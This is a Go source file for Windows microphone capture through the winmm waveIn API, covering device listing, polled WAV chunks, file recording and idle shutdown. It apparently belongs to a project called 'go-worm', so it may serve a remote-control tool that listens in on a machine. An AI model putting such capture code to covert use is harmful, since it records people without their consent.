//go:build windows package mic import ( "errors" "fmt" "runtime" "sync" "sync/atomic" "syscall" "time" "unsafe" "golang.org/x/sys/windows" "tea.chunkbyte.com/kato/go-worm/lib/helpers" ) const ( callbackEvent = 0x00050000 whdrDone = 0x00000001 numBuffers = 3 bufferMillis = 200 idleClose = 2 * time.Second maxDeviceName = 32 maxWaveInDevs = 64 ) var ( winmm = windows.NewLazySystemDLL("winmm.dll") procWaveInGetNumDevs = winmm.NewProc("waveInGetNumDevs") procWaveInGetDevCapsW = winmm.NewProc("waveInGetDevCapsW") procWaveInOpen = winmm.NewProc("waveInOpen") procWaveInClose = winmm.NewProc("waveInClose") procWaveInPrepareHeader = winmm.NewProc("waveInPrepareHeader") procWaveInUnprepareHeader = winmm.NewProc("waveInUnprepareHeader") procWaveInAddBuffer = winmm.NewProc("waveInAddBuffer") procWaveInStart = winmm.NewProc("waveInStart") procWaveInReset = winmm.NewProc("waveInReset") ) type waveFormatEx struct { FormatTag uint16 Channels uint16 SamplesPerSec uint32 AvgBytesPerSec uint32 BlockAlign uint16 BitsPerSample uint16 Size uint16 } type waveInCaps struct { Mid uint16 Pid uint16 DriverVersion uint32 Name [maxDeviceName]uint16 Formats uint32 WChannels uint16 Reserved uint16 } type waveHdr struct { Data uintptr BufferLength uint32 BytesRecorded uint32 User uintptr Flags uint32 Loops uint32 Next uintptr Reserved uintptr } type captureBuffer struct { hdr waveHdr data []byte } var ( mu sync.Mutex sess *captureSession ) type captureSession struct { device int hWave uintptr event windows.Handle stopOnce sync.Once tearOnce sync.Once doneOnce sync.Once stopCh chan struct{} doneCh chan struct{} buffers []captureBuffer chunkPCM []byte rec *fileRecorder recName string lastPoll time.Time stopping atomic.Bool } func List() (out []Device, err error) { defer func() { if r := recover(); r != nil { err = fmt.Errorf("waveIn list: %v", r) } }() n, _, _ := procWaveInGetNumDevs.Call() count := int(n) if count > maxWaveInDevs { count = maxWaveInDevs } for i := 0; i < count; i++ { var caps waveInCaps ok, _, _ := procWaveInGetDevCapsW.Call( uintptr(i), uintptr(unsafe.Pointer(&caps)), unsafe.Sizeof(caps), ) if ok != 0 { continue } name := windows.UTF16ToString(caps.Name[:]) if name == "" { name = fmt.Sprintf("Microphone %d", i) } out = append(out, Device{Index: i, Name: name}) } return out, nil } func Chunk(device int) ([]byte, error) { mu.Lock() if err := ensureSessionLocked(device); err != nil { mu.Unlock() return nil, err } sess.lastPoll = time.Now() pcm := append([]byte(nil), sess.chunkPCM...) sess.chunkPCM = nil mu.Unlock() if len(pcm) == 0 { return nil, ErrNoAudio } return EncodeWAV(pcm), nil } func StartRecord(device int) (string, error) { mu.Lock() defer mu.Unlock() if sess != nil && sess.rec != nil { return "", ErrAlreadyRecording } if err := ensureSessionLocked(device); err != nil { return "", err } name := RecordingFilename(time.Now()) rec, err := openRecorder(name) if err != nil { return "", err } sess.rec = rec sess.recName = name sess.lastPoll = time.Now() return name, nil } func StopRecord() (string, int64, error) { mu.Lock() defer mu.Unlock() if sess == nil || sess.rec == nil { return "", 0, ErrNotRecording } name := sess.recName size, err := sess.rec.Close() sess.rec = nil sess.recName = "" return name, size, err } func Recording() bool { mu.Lock() defer mu.Unlock() return sess != nil && sess.rec != nil } func Stop() { mu.Lock() stopSessionLocked() mu.Unlock() } func liveSession(device int) bool { return sess != nil && sess.device == device && sess.hWave != 0 && !sess.stopping.Load() } func ensureSessionLocked(device int) error { if liveSession(device) { return nil } stopSessionLocked() if liveSession(device) { return nil } if sess != nil { stopSessionLocked() if liveSession(device) { return nil } if sess != nil { return errors.New("mic session busy") } } return startSessionLocked(device) } func startSessionLocked(device int) error { if err := deviceExists(device); err != nil { return err } event, err := windows.CreateEvent(nil, 0, 0, nil) if err != nil { return err } format := waveFormatEx{ FormatTag: 1, Channels: Channels, SamplesPerSec: SampleRate, AvgBytesPerSec: SampleRate * Channels * BytesPerSample, BlockAlign: Channels * BytesPerSample, BitsPerSample: BitsPerSample, } var hWave uintptr bufBytes := SampleRate * BytesPerSample * bufferMillis / 1000 if bufBytes < 1024 { bufBytes = 1024 } ok, _, callErr := procWaveInOpen.Call( uintptr(unsafe.Pointer(&hWave)), uintptr(device), uintptr(unsafe.Pointer(&format)), uintptr(event), 0, callbackEvent, ) if ok != 0 { windows.CloseHandle(event) if callErr != nil && callErr != syscall.Errno(0) { return callErr } return fmt.Errorf("waveInOpen failed") } s := &captureSession{ device: device, hWave: hWave, event: event, stopCh: make(chan struct{}), doneCh: make(chan struct{}), buffers: make([]captureBuffer, numBuffers), lastPoll: time.Now(), } // ponytail: prepare in-place so waveIn keeps pointers into s.buffers, not stack copies. for i := range s.buffers { s.buffers[i].data = make([]byte, bufBytes) if err := prepareBuffer(hWave, &s.buffers[i]); err != nil { s.teardown() return err } } sess = s go runCaptureLoop(s) go runIdleWatcher(s) ok, _, callErr = procWaveInStart.Call(hWave) if ok != 0 { stopSessionLocked() if callErr != nil && callErr != syscall.Errno(0) { return callErr } return fmt.Errorf("waveInStart failed") } return nil } func deviceExists(device int) error { devices, err := List() if err != nil { return err } for _, d := range devices { if d.Index == device { return nil } } return ErrDeviceNotFound } func prepareBuffer(hWave uintptr, cb *captureBuffer) error { if hWave == 0 || len(cb.data) == 0 { return errors.New("empty capture buffer") } cb.hdr = waveHdr{ Data: uintptr(unsafe.Pointer(&cb.data[0])), BufferLength: uint32(len(cb.data)), } ok, _, err := procWaveInPrepareHeader.Call( hWave, uintptr(unsafe.Pointer(&cb.hdr)), unsafe.Sizeof(cb.hdr), ) if ok != 0 { if err != nil && err != syscall.Errno(0) { return err } return errors.New("waveInPrepareHeader failed") } ok, _, err = procWaveInAddBuffer.Call( hWave, uintptr(unsafe.Pointer(&cb.hdr)), unsafe.Sizeof(cb.hdr), ) if ok != 0 { _, _, _ = procWaveInUnprepareHeader.Call(hWave, uintptr(unsafe.Pointer(&cb.hdr)), unsafe.Sizeof(cb.hdr)) if err != nil && err != syscall.Errno(0) { return err } return errors.New("waveInAddBuffer failed") } return nil } func runIdleWatcher(s *captureSession) { defer helpers.RecoverLog("mic-idle") ticker := time.NewTicker(500 * time.Millisecond) defer ticker.Stop() for { select { case <-s.stopCh: return case <-ticker.C: mu.Lock() if sess == s && !s.stopping.Load() && s.rec == nil && time.Since(s.lastPoll) > idleClose { stopSessionLocked() } mu.Unlock() } } } func runCaptureLoop(s *captureSession) { defer s.finish() defer helpers.RecoverLog("mic-capture") defer func() { mu.Lock() if sess == s { sess = nil } mu.Unlock() }() defer s.teardown() event := s.event for { select { case <-s.stopCh: return default: } wait, err := windows.WaitForSingleObject(event, 500) select { case <-s.stopCh: return default: } if err != nil || wait == uint32(windows.WAIT_TIMEOUT) || wait != windows.WAIT_OBJECT_0 { continue } if !drainBuffers(s) { s.requestStop() return } } } func drainBuffers(s *captureSession) (ok bool) { mu.Lock() defer mu.Unlock() if sess != s || s.stopping.Load() || s.hWave == 0 { return true } ok = true for i := range s.buffers { cb := &s.buffers[i] if cb.hdr.Flags&whdrDone == 0 { continue } n := int(cb.hdr.BytesRecorded) if n > len(cb.data) { n = len(cb.data) } if n > 0 { pcm := append([]byte(nil), cb.data[:n]...) s.chunkPCM = appendChunkPCM(s.chunkPCM, pcm) if s.rec != nil { if err := s.rec.Write(pcm); err != nil { helpers.Log.Printf("mic record: %v", err) _, _ = s.rec.Close() s.rec = nil s.recName = "" } } } cb.hdr.Flags &^= whdrDone cb.hdr.BytesRecorded = 0 _, _, _ = procWaveInUnprepareHeader.Call(s.hWave, uintptr(unsafe.Pointer(&cb.hdr)), unsafe.Sizeof(cb.hdr)) if err := prepareBuffer(s.hWave, cb); err != nil { helpers.Log.Printf("mic buffer: %v", err) ok = false } } return ok } func (s *captureSession) finish() { s.doneOnce.Do(func() { close(s.doneCh) }) } func (s *captureSession) requestStop() { if s == nil { return } s.stopOnce.Do(func() { s.stopping.Store(true) close(s.stopCh) if s.hWave != 0 { _, _, _ = procWaveInReset.Call(s.hWave) } if s.event != 0 { _ = windows.SetEvent(s.event) } }) } func (s *captureSession) teardown() { if s == nil { return } s.tearOnce.Do(func() { if s.hWave != 0 { _, _, _ = procWaveInReset.Call(s.hWave) for i := range s.buffers { cb := &s.buffers[i] _, _, _ = procWaveInUnprepareHeader.Call(s.hWave, uintptr(unsafe.Pointer(&cb.hdr)), unsafe.Sizeof(cb.hdr)) } _, _, _ = procWaveInClose.Call(s.hWave) s.hWave = 0 } if s.rec != nil { if _, err := s.rec.Close(); err != nil { helpers.Log.Printf("mic record close: %v", err) } s.rec = nil s.recName = "" } if s.event != 0 { windows.CloseHandle(s.event) s.event = 0 } runtime.KeepAlive(s) }) } // stopSessionLocked drops the session. Caller must hold mu. // Never wait on capture shutdown while holding mu (deadlock with drainBuffers). func stopSessionLocked() { if sess == nil { return } s := sess sess = nil mu.Unlock() joinCapture(s) mu.Lock() } func joinCapture(s *captureSession) { if s == nil { return } defer helpers.RecoverLog("mic-stop") s.requestStop() <-s.doneCh s.teardown() }